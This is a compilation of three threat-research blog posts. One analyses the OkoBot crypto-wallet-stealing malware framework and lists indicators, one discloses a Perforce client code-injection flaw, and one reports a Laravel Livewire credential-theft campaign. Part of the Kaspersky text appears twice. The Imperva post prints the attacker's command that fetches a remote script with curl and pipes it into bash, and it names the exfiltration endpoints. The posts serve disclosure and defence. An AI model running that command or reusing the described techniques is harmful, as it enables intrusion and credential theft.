CF_HDROP for files dragged between windows, CF_DIB for copied bitmap images, and CF_UNICODETEXT for Unicode text. Each format is handled appropriately, and all copy events are logged under the Clipboard section. Text data is written directly to the log, while copied files are recorded by their file paths. Images are saved as JPG files following the naming pattern bf_YYYY-MM-DD hh_mm_ss.jpg, and the path to the saved image is added to the log.sc_YYYY-MM-DD hh_mm_ss.jpg. A corresponding message is recorded in the log under the Screenshot section, including the path to the screenshot.Thus, the keylogger creates three types of different file artifacts, which are placed in a temporary directory. Below is an example of a log file generated by the keylogger.
Example of the keylogger log file
This module, which we dubbed OkoSpyware, captures both keystrokes and the video stream of the target application’s window. It first compiles a list of over 100 executable names, including cryptocurrency wallet applications (such as Exodus or Litecoin QT), password managers (such as KeePassXC or 1Password), and other widely used applications, to identify which processes should be monitored among all active system processes. For each identified process, the module uses a bundled FFmpeg instance to capture an MP4 video of the window while concurrently logging keystrokes within that window. The resulting video file is saved in %TEMP% as media_<ts> (where <ts> is the recording’s start timestamp). In the same folder, a JSON file named oko_<ts>.json is created, containing metadata about the captured stream, such as the process name, intercepted input, the stream’s MD5 hash, and additional details.
Example of an OkoSpyware metadata file
The malware also monitors the state of browsers, and when the window title matches a specified regular expression — for instance, a MetaMask or Tonkeeper wallet extension page — it performs video recording and input logging, adding the window title value to the corresponding field in the JSON metadata file.
The TookPS script launched via a scheduled task receives a PowerShell exfiltration script as its payload from the C2. All files created by the MC Keylogger and OkoSpyware are sent to the C2 server to the endpoint ir-post.php. After that, the files are deleted from the victim’s system and a command history file, ConsoleHost_history.txt, is cleared.
Sequential exfiltration of artifacts from the temporary directory
At the time of writing, we have detected hundreds of victims of the OkoBot campaign in more than 25 countries, with the largest proportion of attacked end users found in Brazil, Vietnam, Canada, Mexico, and Türkiye.
Distribution of users attacked by OkoBot by country, April 2025–June 2026 (download)
At the time of writing, we can’t attribute this malicious campaign to any known crimeware actor. However, during the analysis, we observed that the servers hosting the PowerShell scripts used in the initial infection stage implement server-side geoblocking. When attempting to retrieve the malicious script using an IP from Russia or CIS countries, the server returns an empty response. This technique is very popular among Russian-speaking threat actors.
It was previously mentioned that the campaign uses the malicious Rilide extension, an infostealer that is actively spreading on Russian-speaking, invitation-only cybercrime forums. Additionally, the source code of the SeedHunter phishing pages includes comments in Russian.
The framework described here has numerous modules — mostly written in C and C++ — that are obfuscated and use a variety of packing techniques. Across all stages, specific patterns and techniques can be identified that are borrowed and used in other modules, which allows us to conclude that there is a close interconnectedness among all stages, forming a full‑fledged high‑level framework. Overall, these modules enable a wide range of functions, such as collecting local files, executing remote commands, downloading arbitrary browser extensions, and stealing crypto wallets.
The OkoBot campaign has been ongoing for over a year, and it remains active at the time of publication. Moreover, it is adapting, which indicates that this framework is being maintained and distribution campaigns continue.
Additional information about this threat, with a comprehensive IoC list and decryption scripts, is available to customers of the Kaspersky Threat Intelligence Reporting service. Contact: intelreports@kaspersky.com.
B07D451EE65A1580F20A784C8F0E7A46 # protobuf.dll
187A1F68AE786E53D3831166DC84E6D2 # protobuf.dll
D84E8DC509308523E0209D3CD3544619 # protobuf.dll
83E6B8FCB92A0B13E109301F8FF649CF # version.dll
7306885BB4C98F2A9F056104CF092BC9 # PowerShell wrapper
B4C2E16CDB513BE4DC798F88E2527334 # CMD wrapper
2157D2429124AD28DB7A26F2477CB985 # Environment enumerator
77CECF5E2A622AE07D8AE9913457AB57 # Dropper
E0C3BC27A65750E740C4F1719E531C7D # Process injector
3D2B43F91F65BFBF36A9C71B6B418876 # ext_daemon.exe
70FEF9FD6E351F4D53CFEEE8DCDFCD99 # seedhunter_x64.exe
ACD31C9941B6C1CABD4E45E6877B9038 # keylog_x64.dll
DD52F5108A176C62AD807C327734AD12 # oko.dll
AC93A821617AEA1F56D4BC0BEF4AF327 # HDUtil.exe
11DBC8A2BEA04B15F8F68F3F01E8FAF9 # extl.exe
%USERPROFILE%\.ssh\go.bat
%PROGRAMDATA%\HDVideo\HDUtil.exe
%PROGRAMDATA%\hwid.dat
%PROGRAMDATA%\oko_ver
%TEMP%\extl.exe
%APPDATA%\hwid.dat
2baserec2[.]guru # TookPS
recavb22[.]online # TookPS
kbeautyreviews[.]com # TookPS
coffeesaloon[.]online # TookPS
104.243.43[.]16 # SSH bot
104.243.32[.]213 # SSH bot
62.210.188[.]209 # SSH bot
livewallpapers[.]online # Volume2 C2
thatwascringe[.]com # Volume2 C2
moonsand[.]store # SeedHunter C2
In January 2026, we identified multiple attacks involving unknown malware that captures the contents of cryptocurrency wallet windows. During the investigation, we reconstructed the complete infection chain, which consisted of four tightly linked stages initiated by the execution of the previously described malicious PowerShell script TookPS. However, this campaign differs from previous activity in that it uses a new framework to deliver all malicious modules and orchestrate them via an SSH tunnel. In total, the framework includes more than 20 malicious payloads and implants, covering a wide variety of functions. At the time of writing, the threat remains active.
Kaspersky’s products detect this threat as Trojan-Downloader.Win32.TookPS.*, Trojan.Win64.BypassUAC.*, Trojan-Banker.Script.Agent.gen, Trojan.Win32.Dllhijack.*, Backdoor.Win32.TeviRat.*, Trojan-PSW.Win64.Stealer.*, Trojan-Spy.Win64.Keylogger.*, Trojan-Spy.Win64.Agent.*, Trojan.Win64.Agent.*.
TookPS is a downloader used for retrieving malicious commands and scripts from attacker-controlled servers to further propagate attacks. The first campaign using TookPS was discovered in March 2025. At that time, malicious scripts delivered a Python‑based infostealer along with a script that installed and configured an SSH tunnel on the victim’s machine. The next wave appeared in April 2025: the payload was changed, and TookPS was used to deliver the TeviRAT malware with the same SSH installer.
Then at the end of April 2025, TookPS underwent minor changes, yet its attack chain was completely redesigned. Unlike previous incidents, in this case, TookPS was used solely for the initial infection, with an automated SSH bot responsible for payload delivery. This new malicious campaign has multiple stages that cover the full attack lifecycle, from initial infection to persistence and data exfiltration. Among various malware strains, at one of the stages, the TeviRAT backdoor is delivered to the compromised host, ultimately fetching another version of a TookPS script.
We dubbed this updated TookPS campaign “OkoBot”.
Original OkoBot infection chain
We will break down this chain in greater detail later in the article. However, this is not the only version of OkoBot we were able to find. Already in March 2026, we discovered a new phase in the development of the framework, with Volume2 now being installed directly using TookPS. The HDUtil launcher → extl injector → Rilide chain was found to be abandoned in this newer version since it was replaced in full by the identical ext_daemon Volume2 plugin. TeviRAT was also removed, most likely because its functions were covered by the new plugins dispatcher.
New OkoBot infection chain
The initial infection is primarily delivered through two vectors: a ClickFix attack, and malware distributed through GitHub that masquerades as legitimate software. One such example is the fake SQL Server Management Studio (SSMS) package distributed through GitHub. In fact, it is actually the legitimate Audacity — a popular audio editor — compiled with a malicious implant embedded in one of its libraries. Because the repository was indexed by most search engines and appeared at the top of the results for the query SSMS, the malware looked legitimate and quickly earned users’ trust.
Malicious application distribution report
This repository was created at the end of March 2025 and existed until June of that year. It consisted of a single file, README.md, which provided a fake SSMS installation guide written in an official style and likely derived from excerpts of Microsoft’s documentation. However, the download link for the program, located at the beginning of the guide, pointed to the latest release in the same repository.
Both infection vectors trigger the execution of the malicious script TookPS, which installs SSH on the victim’s system, establishes a connection to the attacker-controlled SSH server and subsequently forwards the SSH daemon port. Following a delay, an automated SSH bot connects to the forwarded port.
The automated SSH bot collects system information such as usernames, antivirus software installed, the IP address, and OS version. It harvests cryptocurrency wallet files, browser cookies, profiles, and other credentials through an SSH tunnel. For subsequent delivery of malicious modules, it disables Windows Defender notifications via a registry modification. Moreover, it gains access to the graphical session on the victim’s system using the following sequence:
termsrv.dll with a patched one to permit multiple concurrent RDP sessionsApple Sync to maintain a reverse SSH tunnel that forwards the local RDP port every hourAfter that, the SSH bot begins retrieving malicious modules over SFTP.
One of the deployed modules is HDUtil, an auxiliary utility protected with VMProtect and heavily obfuscated. This launcher is used by the SSH bot during an attack to deploy various malicious modules via the target command. Additionally, it implements three auxiliary commands that were not observed during the attacks we analyzed. Nevertheless, their presence and potential capabilities further demonstrate the high degree of integration among all components of the framework.
At startup, the launcher verifies its execution environment by checking the HWID in the contents of %PROGRAMDATA%\hwid.dat, a technique consistently employed throughout the framework. If the file is missing or contains invalid data, such as a non‑MD5 hash, the launcher terminates without performing any further actions. Otherwise, the specified commands are executed. For example, enumsessions provides a list of sessions along with detailed information, including the session type (Console, Services, RDP, and others), username, connection host, and domain. In turn, enumadapters returns the names of all graphics adapters present on the system.
Example output of HDUtil enumeration commands
The most important command of the launcher is target, which enables payload execution on the system. An optional nouac argument enables automatic UAC bypassing via Windows RPC and an auto-elevated msconfig.exe program, allowing the payload to run with elevated privileges stealthily. This technique has been known for a long time, discovered and described in 2019 by the Project Zero team, who provided a full report with a detailed technical description.
Below is the list of all HDUtil commands.
| Command | Description |
| target [nouac [user=<user>]] [noattach] <file> | Starts file and prints its output. If optional argument noattach passed, command to be executed in background. If optional argument nouac passed, automatic UAC bypass to be performed. If optional argument user passed, new process to be executed under , otherwise default local administrator to be chosen. |
| pcopy <file> <dir_src> <dir_dst> | Copies file <file> located in <dir_src> to <dir_dst>. Not used by SSH bot. |
| enumadapters | Prints names of graphical adapters on current system. Not used by SSH bot. |
| enumsessions | Prints all sessions on current system. Not used by SSH bot. |
The first malicious module delivered to the infected system via SFTP is executed using the previously described launcher with the command .\HDUtil.exe target extl.exe. It is a heavily obfuscated DLL injector protected with VMProtect. At startup, the module enters an infinite loop and uses the EnumWindows and IsWindowVisible API methods to enumerate the PIDs of active windows and retrieve the corresponding executable filenames. For processes associated with widely used Chromium‑based browsers, the module invokes a routine that injects a specialized implant.
The injector opens a process, allocates a memory region, and writes the payload directly into this region as unencrypted raw bytes. Then it resolves two exported implant functions, LdrInitMain and LdrCallMain, based on a pre-specified hash derived from a modified version of DJB2 hash function. The first function performs the final PE unpacking, including rebase operations and the initialization of the import and exception tables. The second function directly initiates malware execution.
Setting up protections on the regions and launching the implant
This loader installs malicious browser extensions and hides them from the user. It uses an internal engine that resolves the addresses of stripped functions by analyzing the byte patterns of their calls using YARA-style syntax. This approach enables the malicious code to access critical Chromium engine functions required for extension installation and management. This functionality is also implemented for other browsers with appropriate modifications. For example, in the case of Microsoft Edge, the corresponding DLL msedge.dll is hooked using the specific patterns.
List of the functions hooked by the malware
Using the obtained address of the BrowserProcess object, the loader traverses the inheritance hierarchy and subsequently resolves a pointer to the function responsible for registering observers of browser‑window creation, specifically ProfileManager::BrowserListObserver::OnBrowserAdded. With a specialized built‑in engine, they are hooked using the attacker’s own implementations while preserving the original function’s address.
The loader replaces the functions it finds with its own
When a new Chromium window is opened, a hooked function is invoked that silently installs extensions. This routine scans the user’s %APPDATA% directory, loads all .crx files (Chromium-based browsers extension format), and records them in the ext_table. The extensions are then installed in the browser.
During installation, the extension is unpacked into a non‑default extensions directory, Local Extension Settings, and its manifest is dynamically modified. An object named custom_args is added, containing the fields hwid (the identifier of the infected system) and browser (the name of the browser in which the extension is installed). Then, using previously resolved internal functions of chrome.dll, the extension is installed and all requested permissions are granted.
Extensions are unpacked into a non-default directory
All extensions loaded in this manner are added to a special array to be subsequently identified among regular extensions and to remain hidden from the user.
The remaining patched functions are used to hide the installed malicious extensions from the user. When invoked with registered extensions as parameters, they perform no operation and return a constant value. This enables the threat actor to suppress notifications related to the malicious nature of the extensions and to exclude them from the displayed list of installed extensions. As a result, the behavior of other extensions remains unaffected.
Stub for hiding malicious extensions
During the attack, the Rilide extension was installed on the victim’s system using the previously described loader. Rilide is a stealer targeting Chromium-based browsers that has been frequently used by Russian-speaking threat actors since April 2023. The malware is designed to steal sensitive user data, including login credentials, cookies, and financial information, with a specific emphasis on cryptocurrency theft.
The final module delivered via SFTP is an open-source utility called Volume2, which is executed with elevated privileges using the command .\HDUtil.exe target nouac noattach Volume2.exe. The executable was linked with the malicious protobuf.dll library. Although the library seems identical to the legitimate DLL, it has been modified to include a malicious exported function, ProtobufGetVer2. This function decrypts and initiates a malicious implant. The payload is encrypted using AES GCM, initialized with a static 256‑bit key and a 96‑bit nonce. The GCM authentication tag is omitted, resulting in the absence of integrity verification. Starting in March 2026, the name of protobuf.dll was changed to version.dll, although its contents remained a modified ProtoBuf library.
Decrypting implant using AES GCM and subsequent mapping
The loaded implant functions as a malicious plugin dispatcher. Upon initialization, it reads and verifies the HWID before establishing communication with the C2 server via the HTTP protocol. Each request follows a predefined binary format: a 2-byte numeric bot identifier encoded in little-endian format, followed by an AES CBC-encrypted JSON object. By default, the BotID is set to 0, and the key and IV consist of 32 and 16 bytes of 0xff, respectively. The implant polls the server every 20 seconds to retrieve new commands. The request contains client data encoded in Base64, and the server may respond with a command containing three mandatory fields: TaskIndex (the command number from the dispatcher), TaskID (a unique task identifier), and HWID (the client identifier). The dispatcher supports four built-in commands:
| Task index | Action |
| 1 | Reconfigure client: update session keys, assign ID, switch to another C2 |
| 2 | Load DLL implant into memory and run its entry point |
| 3 | Load plugin into process and register tasks with RegisterPlugin function |
| 4 | Restart dispatcher as new process |
| x | If the task number is none of the above, search for it among the registered plugins |
Each plugin is required to export two functions: RegisterPlugin and PluginDispatch. These functions are used to manage and configure plugins. The RegisterPlugin function registers the plugin’s tasks with the dispatcher, whereas the PluginDispatch function is invoked when the plugin is called. Both these functions, as well as other external API functions, are located within the base libraries using one algorithm. This algorithm iterates through the export table and uses a specialized callback that calculates the MurmurHash3 hash and compares it against the target value to identify the appropriate function.
Resolving a plugin initialization function
During the analysis, we were able to discover five plugins that implement functions under their unique task identifiers.
We identified four malicious implants that are delivered to the system via the process injector plugin.
The malware is functionally identical to the browser extensions loader (extl.exe) described above, but less obfuscated and not protected with VMProtect.
Similarly to extl.exe, this malware monitors the list of active processes in the system and injects an implant into Trezor Suite, Ledger Wallet, and Ledger Live processes. The implant is malware that collects seed phrases of Ledger and Trezor cryptocurrency wallets. Initially, it verifies the HWID, and if it fails, it terminates immediately. Then, based on the value of BaseDllName, the malware determines the process context and uses the corresponding implementation for either Trezor or Ledger. It then utilizes the previously described technique to hook the internal Electron framework functions.
List of functions hooked by the malware
Then the malware communicates with the C2 (moonsand[.]store) over HTTPS, sending a Base64-encoded JSON request containing the fields Pid, HWID, and Build. In response, it receives a JSON payload containing the Wait flag. If this flag is set to true, the malware initiates periodic USB device scans filtered by VID and PID (Vendor and Product ID). Upon detecting a connected Trezor or Ledger hardware wallet, it invokes the hooked functions to display a hard‑coded phishing page designed for seed phrase recovery, with a distinct layout used for each identified wallet. If the Wait flag is set to false, the phishing page is displayed immediately.
When the seed phrase is entered and validated, the JavaScript code of the page outputs the phrase to the console prefixed with @:app:print. This prefix helps identify the malware messages in the hooked function mal_LogConsoleMessage.
Phishing pages for seed phrase recovery
The obtained seed phrase is subsequently sent to the C2 server within a JSON payload containing fields such as App (ledger or trezor), Build, DeviceName, DeviceHardwareId, and SeedData. Furthermore, an identical JSON, encrypted with the RC4 algorithm using the HWID as the key, is saved in a temporary directory under the filename sh_<ts>.json, where <ts> is the file creation timestamp.
This module is a keylogger that, in addition to recording user input, performs three malicious activities:
CF_HDROP for files dragged between windows, CF_DIB for copied bitmap images, and CF_UNICODETEXT for Unicode text. Each format is handled appropriately, and all copy events are logged under the Clipboard section. Text data is written directly to the log, while copied files are recorded by their file paths. Images are saved as JPG files following the naming pattern bf_YYYY-MM-DD hh_mm_ss.jpg, and the path to the saved image is added to the log.sc_YYYY-MM-DD hh_mm_ss.jpg. A corresponding message is recorded in the log under the Screenshot section, including the path to the screenshot.Thus, the keylogger creates three types of different file artifacts, which are placed in a temporary directory. Below is an example of a log file generated by the keylogger.
Example of the keylogger log file
This module, which we dubbed OkoSpyware, captures both keystrokes and the video stream of the target application’s window. It first compiles a list of over 100 executable names, including cryptocurrency wallet applications (such as Exodus or Litecoin QT), password managers (such as KeePassXC or 1Password), and other widely used applications, to identify which processes should be monitored among all active system processes. For each identified process, the module uses a bundled FFmpeg instance to capture an MP4 video of the window while concurrently logging keystrokes within that window. The resulting video file is saved in %TEMP% as media_<ts> (where <ts> is the recording’s start timestamp). In the same folder, a JSON file named oko_<ts>.json is created, containing metadata about the captured stream, such as the process name, intercepted input, the stream’s MD5 hash, and additional details.
Example of an OkoSpyware metadata file
The malware also monitors the state of browsers, and when the window title matches a specified regular expression — for instance, a MetaMask or Tonkeeper wallet extension page — it performs video recording and input logging, adding the window title value to the corresponding field in the JSON metadata file.
The TookPS script launched via a scheduled task receives a PowerShell exfiltration script as its payload from the C2. All files created by the MC Keylogger and OkoSpyware are sent to the C2 server to the endpoint ir-post.php. After that, the files are deleted from the victim’s system and a command history file, ConsoleHost_history.txt, is cleared.
Sequential exfiltration of artifacts from the temporary directory
At the time of writing, we have detected hundreds of victims of the OkoBot campaign in more than 25 countries, with the largest proportion of attacked end users found in Brazil, Vietnam, Canada, Mexico, and Türkiye.
Distribution of users attacked by OkoBot by country, April 2025–June 2026 (download)
At the time of writing, we can’t attribute this malicious campaign to any known crimeware actor. However, during the analysis, we observed that the servers hosting the PowerShell scripts used in the initial infection stage implement server-side geoblocking. When attempting to retrieve the malicious script using an IP from Russia or CIS countries, the server returns an empty response. This technique is very popular among Russian-speaking threat actors.
It was previously mentioned that the campaign uses the malicious Rilide extension, an infostealer that is actively spreading on Russian-speaking, invitation-only cybercrime forums. Additionally, the source code of the SeedHunter phishing pages includes comments in Russian.
The framework described here has numerous modules — mostly written in C and C++ — that are obfuscated and use a variety of packing techniques. Across all stages, specific patterns and techniques can be identified that are borrowed and used in other modules, which allows us to conclude that there is a close interconnectedness among all stages, forming a full‑fledged high‑level framework. Overall, these modules enable a wide range of functions, such as collecting local files, executing remote commands, downloading arbitrary browser extensions, and stealing crypto wallets.
The OkoBot campaign has been ongoing for over a year, and it remains active at the time of publication. Moreover, it is adapting, which indicates that this framework is being maintained and distribution campaigns continue.
Additional information about this threat, with a comprehensive IoC list and decryption scripts, is available to customers of the Kaspersky Threat Intelligence Reporting service. Contact: intelreports@kaspersky.com.
B07D451EE65A1580F20A784C8F0E7A46 # protobuf.dll
187A1F68AE786E53D3831166DC84E6D2 # protobuf.dll
D84E8DC509308523E0209D3CD3544619 # protobuf.dll
83E6B8FCB92A0B13E109301F8FF649CF # version.dll
7306885BB4C98F2A9F056104CF092BC9 # PowerShell wrapper
B4C2E16CDB513BE4DC798F88E2527334 # CMD wrapper
2157D2429124AD28DB7A26F2477CB985 # Environment enumerator
77CECF5E2A622AE07D8AE9913457AB57 # Dropper
E0C3BC27A65750E740C4F1719E531C7D # Process injector
3D2B43F91F65BFBF36A9C71B6B418876 # ext_daemon.exe
70FEF9FD6E351F4D53CFEEE8DCDFCD99 # seedhunter_x64.exe
ACD31C9941B6C1CABD4E45E6877B9038 # keylog_x64.dll
DD52F5108A176C62AD807C327734AD12 # oko.dll
AC93A821617AEA1F56D4BC0BEF4AF327 # HDUtil.exe
11DBC8A2BEA04B15F8F68F3F01E8FAF9 # extl.exe
%USERPROFILE%\.ssh\go.bat
%PROGRAMDATA%\HDVideo\HDUtil.exe
%PROGRAMDATA%\hwid.dat
%PROGRAMDATA%\oko_ver
%TEMP%\extl.exe
%APPDATA%\hwid.dat
2baserec2[.]guru # TookPS
recavb22[.]online # TookPS
kbeautyreviews[.]com # TookPS
coffeesaloon[.]online # TookPS
104.243.43[.]16 # SSH bot
104.243.32[.]213 # SSH bot
62.210.188[.]209 # SSH bot
livewallpapers[.]online # Volume2 C2
thatwascringe[.]com # Volume2 C2
moonsand[.]store # SeedHunter C2
In this article, we disclose our latest findings we made on Perforce protocol P4 (Helix Core) between command line client and server, and reveal how a threat actor could leverage it to conduct attacks.
This security issue affects P4 (Helix Core) before P4 (Helix Core) 2025.2 Patch 2, was patched and was attributed a CVSS score of 7.7 (CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L). See our recommendation section and the Perforce advisory for more information.
Perforce Helix Client is a version control system often used for large projects and teams that work with many files or large assets.
While Git and SVN are great for many projects, Perforce shines in environments with massive codebases or large binary files, like game development or VFX. It handles millions of files efficiently, lets teams lock files to prevent merge conflicts on non-text assets, and supports partial checkouts so developers don’t need the entire repository locally.
Perforce operates on a centralized client-server architecture model, where the command-line client (p4) communicates directly with a centralized Perforce server responsible for managing the repository, metadata, and access controls. This communication can be established through Perforce’s native protocol (default port 1666) or wrapped into HTTPS to ensure encrypted data transmission.
Fig. 1: Basic single server architecture
Eventually, whenever the P4CONFIG variable is set (usually .p4config), the client automatically loads configuration variables such as P4USER, P4PORT, P4CLIENT and P4PASSWD from the designated config file discovered in the current directory or home directory. This hierarchical configuration resolution applies within the scope of P4CLIENTPATH, allowing workspace-specific configurations to override global system settings.
The Perforce client-server communication relies on a custom binary protocol, in which each message carries a set of parameters and a handler name designating the operation to be executed by the receiver. Multiple messages can be chained within a single exchange.
Fig. 2: Extract from a clear traffic dump of a p4 info request
This communication can be secured by SSL while the fingerprint of the server is added into a trust local file located at P4TRUST (itself defined in the p4 config file).
During our investigation, we recorded the server traffic of several sensitive responses (triggering SSO response, writing files with arbitrary content to arbitrary location, etc. ) and observed that no validation of server response exists in the client side:
Beyond the risk of replay attacks, the last point makes the following scenario possible:
Indeed, the P4LOGINSSO environment variable is designed for SSO integrations: when set, the p4 client executes its value as a shell command to obtain authentication credentials.
Fig. 3: Illustration of the first attack scenario
Another scenario we presented was the following:
Fig. 4: Illustration of the second scenario
Once exploited, this flaw enables attackers to achieve arbitrary code execution under the victim’s user account: the same context in which the p4 command runs.
This grants full local control, allowing theft of sensitive data (e.g., source code, intellectual property, credentials), modification of files or configurations for persistence or further compromise, and disruption of workflows through file deletion or system resource exhaustion.
In environments handling high-value assets, such as game development studios, VFX pipelines, or large-scale software projects, the business impact can be substantial, including IP loss, production delays, and potential downstream effects on team collaboration or supply chain integrity.
Following the reception of our report, Perforce security team requested an embargo until the release of v2026.1 (May 2026) to give them time to patch this issue.
The fix introduced a built-in protection in the client that prevents syncing or submitting files matching Perforce configuration file names (.p4enviro, .p4config, etc.), regardless of workspace settings. The P4_SYSTEMIGNORE variable can be used to extend this list. However, this does not address the lack of binding between client requests and server responses, nor the absence of a replay timeout or session id.
Update your system to the latest available version.
Organizations using Perforce command line client should treat this issue seriously and adopt the following guidelines:
This vulnerability in the Perforce Helix Client highlights how widely used version control systems can contain overlooked risks in their core client-server communication, assumptions that the server is always trustworthy or responses are inherently safe.
In environments with massive, distributed asset pipelines, such protocol-level gaps can quietly expose teams to compromise through everyday interactions like querying server info or loading shared configurations.
As development tools evolve toward greater automation, integration, and reliance on external or unvetted endpoints, these subtle trust boundaries deserve renewed scrutiny. This finding is a reminder that supply chain attacks do not require compromising a central registry: embedding a malicious configuration file in a shared project artifact could be sufficient to achieve code execution across an entire team.
October 20 2025 – Disclosure sent to Perforce security team.
October 21 2025 – Report acknowledged by the Perforce security team.
March 9 2026 – Patch released for 2025.2 and backported to prior supported versions.
May 18 2026 – Release of 2026.1 and publication of the security advisory.
The post Code Injection in Perforce Helix Core (CVE-2026-6902) appeared first on Blog.
On May 24, 2026, Imperva observed exploitation attempts against Laravel Livewire applications, blocked by the Imperva Cloud WAF. What initially appeared to be unremarkable deserialization attack traffic turned out to be part of a large-scale credential theft operation exploiting CVE-2025-54068, a critical unauthenticated RCE vulnerability in Laravel Livewire v3 (versions up to v3.6.3).
The campaign, first documented here, has been running for several months, as evidenced by the large volume of stolen data. Recovery and analysis of the attacker’s exfiltration infrastructure revealed credentials harvested from 6,167 distinct applications spanning dozens of countries and sectors, from e-commerce and healthcare to financial services, education, and government. The attacker’s FTP server contained 1,851+ database dumps and 18+ email lists with over 26 million addresses, indicating the stolen credentials were being actively exploited. Attribution indicators throughout the malware and associated infrastructure point to an Indonesian-origin threat actor.
CVE-2025-54068 is a critical vulnerability in Laravel Livewire v3 caused by improper validation of component property updates during the framework’s hydration process. When a Livewire component state is restored from a browser request, Livewire v3 (up to v3.6.3) fails to verify the integrity of the submitted data before deserializing it. An unauthenticated attacker can inject a malicious serialized PHP object into this request, triggering arbitrary code execution on deserialization.
The following HTTP request, reconstructed from our captured attack traffic, illustrates the exploitation:
For full technical details on this vulnerability, please see the disclosure here.
The exploitation requests we captured contained serialized PHP objects constructed using PHPGGC gadget chains. These chains abuse legitimate PHP classes already present in Laravel applications to achieve code execution during deserialization. The attacker’s payload executes the following command:
curl -skfsSL hxxps://xantibot[.]pw/database-sell/shoc.enz | tr -d '\r' | bash >/dev/null 2>&1 &
This fetches a shell script from the attacker’s C2 server and pipes it directly into bash, executing it in the background with all output suppressed.
The credential stealer deployed in this campaign is a 5,269-byte Bash shell script named shoc.enz (SHA256: 548c3672fd3201dab56f714fdd5812bb024980815b3a2b6299f0126bdf16fb3e). At the time of our analysis, this sample was not present in VirusTotal.
The malware follows an eight-stage execution process:
The threat actor operates a redundant three-channel exfiltration system:
| Channel | Endpoint | Purpose |
| Primary | FTP @ 47.129.100.149:21 | Main credential storage |
| Secondary | api.telegram.org | Notifications and small file uploads |
| Tertiary | upload.gofile.io | Backup cloud storage |
Our investigation confirmed active access to all three channels. The FTP server contained 7 directories of stolen data, including full database dumps such as FULL_DUMP_[REDACTED_IP]>_2026-04-29_0418.sql.gz. The GoFile account showed owner-level access with 11,179 files totalling 309.9 MB.
Multiple indicators point to an Indonesian-origin threat actor: Indonesian-language comments in the malware source code, a timezone reference to Asia/Jakarta, and the Telegram handle @ashtarotz (“黐線佬 Wong Gen Deng”) linked to xantibot[.]pw, a domain that presents publicly as a legitimate anti-bot service while hosting the malware payload. Analysis of the domain, and telegram channel metadata also point to Indonesian origin.
The GoFile exfiltration account was registered to azrilsyahputra1337@gmail[.]com. Cross-referencing this address against public breach data reveals it appears in three separate historical breaches of BreachForums (November 2022, August 2025, and March 2026), placing the operator within underground breach communities over an extended period.
Laravel applications store all sensitive configuration in a single .env file: database credentials, API keys, payment processor secrets, cloud access keys, and encryption keys. This makes the file an exceptionally high-value target. A single .env file can provide everything needed to access the application’s database, impersonate users, process payments, and access cloud infrastructure.
Analysis of the recovered collection revealed credentials from 6,167 distinct applications. Of 21,916 unique files analysed, 29% declared a production environment, though the true proportion is higher as many files labeled local contained live payment keys and real domain URLs.
The breakdown of exposed credentials:
| Credential Type | Count |
| Database passwords (real, non-default) | 14,566 (66.5%) |
| Production applications with DB credentials | 5,784 |
| Confirmed live Stripe secret keys (sk_live_) | 188 |
| Valid AWS IAM credentials (AKIA format) | 381 |
| JWT secrets | 2,929 |
| Google OAuth client secrets (GOCSPX-) | 2,409 |
| Filament admin panel passwords | 2,232 |
| SMTP passwords | 7,176 (32.7%) |
The FTP server contained over 1,850 full database dump files, confirming the stolen credentials were actively used to extract database contents.
The campaign scanned for vulnerable Laravel installations indiscriminately, with victims spanning online gambling and betting (400+ platforms, predominantly Brazilian and Southeast Asian operators), e-commerce, healthcare, education, logistics, and financial services. Multiple confirmed .gov domains were present in the dataset, showing the scanner made no distinction between commercial and public-sector targets. Recognizable open-source Laravel applications were present in the dataset, including the invoicing platform Invoice Ninja, accounting software Akaunting, event ticketing platform Attendize, photo gallery Lychee, and restaurant management system TastyIgniter. Applications were registered across .com, .ru, .site, .online, .br, .tr, .id, .ke, and dozens of other TLDs. Any organization running unpatched Laravel Livewire v3 was a potential victim.
This campaign illustrates how straightforward credential theft, when combined with a high-impact vulnerability and automated scanning, can scale to thousands of victims in a short window. Recovery of the exfiltration infrastructure revealed credentials from over 6,000 distinct applications, including 188 live Stripe payment keys, 381 valid AWS IAM credentials, and database passwords for nearly 5,800 confirmed production systems. For many victims, the initial server compromise is only the beginning of the exposure.
We recommend the following actions for defenders:
If you believe your organization has been compromised, rotate all database credentials and Laravel APP_KEY values immediately, and review database access logs for unauthorized activity.
| Technique ID | Technique Name | Campaign Usage |
| T1190 | Exploit Public-Facing Application | CVE-2025-54068 exploitation |
| T1059.004 | Unix Shell | Bash script execution via piped curl |
| T1105 | Ingress Tool Transfer | curl retrieval of shoc.enz payload |
| T1083 | File and Directory Discovery | Recursive filesystem scan for .env files |
| T1552.001 | Credentials In Files | .env file harvesting |
| T1560.001 | Archive Collected Data: Archive via Utility | zip/tar.gz staging archive creation |
| T1041 | Exfiltration Over C2 Channel | Telegram Bot API exfiltration |
| T1048.003 | Exfiltration Over Unencrypted Non-C2 Protocol | FTP exfiltration to 47.129.100.149 |
| T1567.002 | Exfiltration to Cloud Storage | GoFile uploads |
| T1070.004 | File Deletion | Staging directory cleanup post-exfiltration |
| T1036 | Masquerading | Randomized archive and staging folder names |
Imperva Threat Research continues to monitor this campaign. Imperva customers are fully protected against exploitation of CVE-2025-54068. Customers requiring further guidance on this vulnerability are encouraged to contact Imperva support.
The post CVE-2025-54068 Laravel Livewire Credential Theft Campaign: 6,000+ Applications Compromised appeared first on Blog.
